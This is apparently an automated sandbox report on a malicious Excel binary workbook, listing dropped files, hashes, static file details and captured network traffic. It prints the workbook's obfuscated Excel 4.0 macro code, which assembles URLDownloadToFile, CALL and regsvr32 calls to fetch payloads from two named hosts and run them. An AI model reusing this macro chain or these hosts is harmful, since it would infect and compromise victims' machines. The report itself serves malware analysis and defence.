                                                                                                                                                      Preview: .PNG........IHDR..............[.J....sRGB.........pHYs..........+......IDATx^.].`......{%.$..A...R.P@z....O...S.<;.VT.REA.(...I...{.......m...]..r./.......~.|]h.Z....P.(........E."@...P.(.v.P.@..E."@....#@y.......E."@y.......E."...*78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x..
                                                                                                                                                      C:\Users\user\AppData\Local\Temp\EF810000
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):157796
                                                                                                                                                      Entropy (8bit):7.9646420259333395
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3072:F9VlUBWA6CFvA7brCxAVIKNMzV1REyNEsAnexVymd1xXPwkw:F3liWA6FiYGpfzTYexVyWxfS
                                                                                                                                                      MD5:A052AE4022BAA9E381EE304FEF1AC56A
                                                                                                                                                      SHA1:E50A8E370B8C4F9E8D2B13486C4E2027D4BB4291
                                                                                                                                                      SHA-256:3AF33A798859A2ABF87BDD02D861A4D8A04C726C646FF9E0A3DFA6BFDBCE3627
                                                                                                                                                      SHA-512:14147F2A8F119BC6670FE5DB1A24C476E1CBE7CB1852D1F5D03AC788DA8C11C2784D921B8FE00900F65F29B98F207169B39C6F0EC933ABDCFB5D41E859BCA905
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview: .U.N.0.}G.....J\@Z!....w.`?....U..1..=c7..JK)...'s.3.x|...z.....7#V..^i....u}.*L.)a...-.......n..+.v.>.p.9......p...hE.... .\t.OF._\z...:e.6._.L.T]-hy.d...~...T-.!.-E"....w$......%..C....H.4!jb.......o...{.m..7gD0......2K)..?...r.c........T7".?.[|a......f;H6.b....).5V........Y.......?A.v.l._.....Qt.B....b........c..t........\..g..a'...........6..].k..:T..Y.....}...K3.&..4.#....D..u .I.z.m..kF......@m...<.......PK..........!.[:..............[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                      C:\Users\user\Desktop\~$analysis-31947858.xlsb
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):165
                                                                                                                                                      Entropy (8bit):1.6081032063576088
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:3:RFXI6dtt:RJ1
                                                                                                                                                      MD5:7AB76C81182111AC93ACF915CA8331D5
                                                                                                                                                      SHA1:68B94B5D4C83A6FB415C8026AF61F3F8745E2559
                                                                                                                                                      SHA-256:6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
                                                                                                                                                      SHA-512:A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
                                                                                                                                                      Malicious:true
                                                                                                                                                      Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                      Static File Info

                                                                                                                                                      General

                                                                                                                                                      File type:Microsoft Excel 2007+
                                                                                                                                                      Entropy (8bit):7.956818884040422
                                                                                                                                                      TrID:
                                                                                                                                                      • Excel Microsoft Office Binary workbook document (47504/1) 49.74%
                                                                                                                                                      • Excel Microsoft Office Open XML Format document (40004/1) 41.89%
                                                                                                                                                      • ZIP compressed archive (8000/1) 8.38%
                                                                                                                                                      File name:analysis-31947858.xlsb
                                                                                                                                                      File size:157112
                                                                                                                                                      MD5:b7eb6d834380eb155e059d79a6c4aa7a
                                                                                                                                                      SHA1:3b962a29dee053de72f4be1fde560ba6d78a9dcc
                                                                                                                                                      SHA256:6fa78aa7df13120074d646d62e6b4a025238d4428192a44c83912dc0b4a93dcd
                                                                                                                                                      SHA512:18d0b939fa94457c33bab90938b48a61f994518b5c8c5d22d147fd82b16a6c3712f553c0f04dbdff1e21628b8e683b357ab8dc035b3e07857b487a4d21920c01
                                                                                                                                                      SSDEEP:3072:XU9VlUBWA6CFvA7bRCxAVIKURs+I7Gy0xVymd1xXPuf+n:XU3liWA6FsYms+I7axVyWxff
                                                                                                                                                      File Content Preview:PK..........!...k.....".......[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                      File Icon

                                                                                                                                                      Icon Hash:74f0d0d2c6d6d0f4

                                                                                                                                                      Static OLE Info

                                                                                                                                                      General

                                                                                                                                                      Document Type:OpenXML
                                                                                                                                                      Number of OLE Files:1

                                                                                                                                                      OLE File "analysis-31947858.xlsb"

                                                                                                                                                      Indicators

                                                                                                                                                      Has Summary Info:
                                                                                                                                                      Application Name:
                                                                                                                                                      Encrypted Document:
                                                                                                                                                      Contains Word Document Stream:
                                                                                                                                                      Contains Workbook/Book Stream:
                                                                                                                                                      Contains PowerPoint Document Stream:
                                                                                                                                                      Contains Visio Document Stream:
                                                                                                                                                      Contains ObjectPool Stream:
                                                                                                                                                      Flash Objects Count:
                                                                                                                                                      Contains VBA Macros:

                                                                                                                                                      Macro 4.0 Code

                                                                                                                                                      "=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA(""U""&'Doc3'!AY16&'Doc2'!BL29&'Doc2'!BL30,'Doc3'!AY10)",,,"=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA('Doc2'!BJ39&'Doc2'!BO28&'Doc3'!AY17&'Doc2'!BJ43&'Doc3'!AY10&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY11&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY12&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ42&'Doc2'!BJ41&""https://""&'Doc3'!AY13&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&before.4.6.53.sheet!BG23&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ45&'Doc2'!BJ44,'Doc3'!AW10)=SUMXMY2(452354,45245)",,,,,,,,,"=FORMULA('Doc2'!BO36,'Doc3'!AY13)",,,=GOTO('Doc3'!AW8),,,"=FORMULA('Doc2'!BM28&'Doc2'!BM29&'Doc2'!BM30&""B"",'Doc3'!AY12)",,,,,,"=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.
                                                                                                                                                      ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,J,,CAL,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,EXEC,,,0,,LM,JC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,on,CB,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,wnl,,oadT,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Fil,,LDo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,""")",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""r",,,,0,0,,,spala.tk/R9CqvClK5199/you.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,eg,,,,,,,,api.hindikhabar.com/1O2OpednnO/you.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,svr32 -s ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,"=LEFT(""LdecvsbgvrsxLxrgxg"",1)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",0",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                                                                                                      ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

                                                                                                                                                      Network Behavior

                                                                                                                                                      Network Port Distribution

                                                                                                                                                      TCP Packets

                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                      Jun 8, 2021 23:18:29.489825010 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:29.665936947 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:29.666126013 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:29.668329000 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:29.844366074 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:29.847426891 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:29.847467899 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:29.847506046 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:29.847635984 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:29.847785950 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:29.868364096 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:30.034138918 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.034343004 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:30.035404921 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:30.241168976 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.511903048 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.512077093 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:30.512428045 CEST44349723207.174.212.247192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.512525082 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:18:30.583458900 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:30.750654936 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.750869036 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:30.751876116 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:30.918904066 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.920902014 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.920964956 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.920999050 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.921024084 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:30.921086073 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:30.938069105 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:31.105963945 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:31.106189966 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:31.107764006 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:31.316039085 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:31.410288095 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:31.410332918 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:31.410629034 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:31.412820101 CEST49725443192.168.2.3108.167.156.223
                                                                                                                                                      Jun 8, 2021 23:18:31.580144882 CEST44349725108.167.156.223192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:20:16.022859097 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:20:16.443013906 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:20:17.193077087 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:20:18.693145037 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:20:21.693495989 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:20:27.678298950 CEST49723443192.168.2.3207.174.212.247
                                                                                                                                                      Jun 8, 2021 23:20:39.648006916 CEST49723443192.168.2.3207.174.212.247

                                                                                                                                                      UDP Packets

                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                      Jun 8, 2021 23:18:14.116262913 CEST6418553192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:14.158752918 CEST53641858.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:15.232357979 CEST6511053192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:15.275101900 CEST53651108.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:16.919312000 CEST5836153192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:16.962488890 CEST53583618.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:18.280527115 CEST6349253192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:18.323261023 CEST53634928.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:20.114376068 CEST6083153192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:20.157247066 CEST53608318.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:25.096653938 CEST6010053192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:25.139219046 CEST53601008.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:26.032728910 CEST5319553192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:26.100872040 CEST53531958.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:26.519052982 CEST5014153192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:26.536838055 CEST5302353192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:26.574883938 CEST53501418.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:26.579370022 CEST53530238.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:27.558837891 CEST5014153192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:27.614514112 CEST53501418.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:28.608232021 CEST5014153192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:28.651254892 CEST53501418.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:29.251286983 CEST4956353192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:29.293904066 CEST53495638.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:29.307104111 CEST5135253192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:29.488126993 CEST53513528.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.466994047 CEST5934953192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:30.509680033 CEST53593498.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.532510042 CEST5708453192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:30.579360008 CEST53570848.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:30.606165886 CEST5014153192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:30.649173975 CEST53501418.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:31.756633997 CEST5882353192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:31.799762964 CEST53588238.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:33.018145084 CEST5756853192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:33.060920954 CEST53575688.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:34.091869116 CEST5054053192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:34.135217905 CEST53505408.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:34.653655052 CEST5014153192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:34.695885897 CEST53501418.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:37.879771948 CEST5436653192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:37.922455072 CEST53543668.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:38.760130882 CEST5303453192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:38.802470922 CEST53530348.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:40.202780008 CEST5776253192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:40.244987965 CEST53577628.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:40.978033066 CEST5543553192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:41.020595074 CEST53554358.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:42.035461903 CEST5071353192.168.2.38.8.8.8
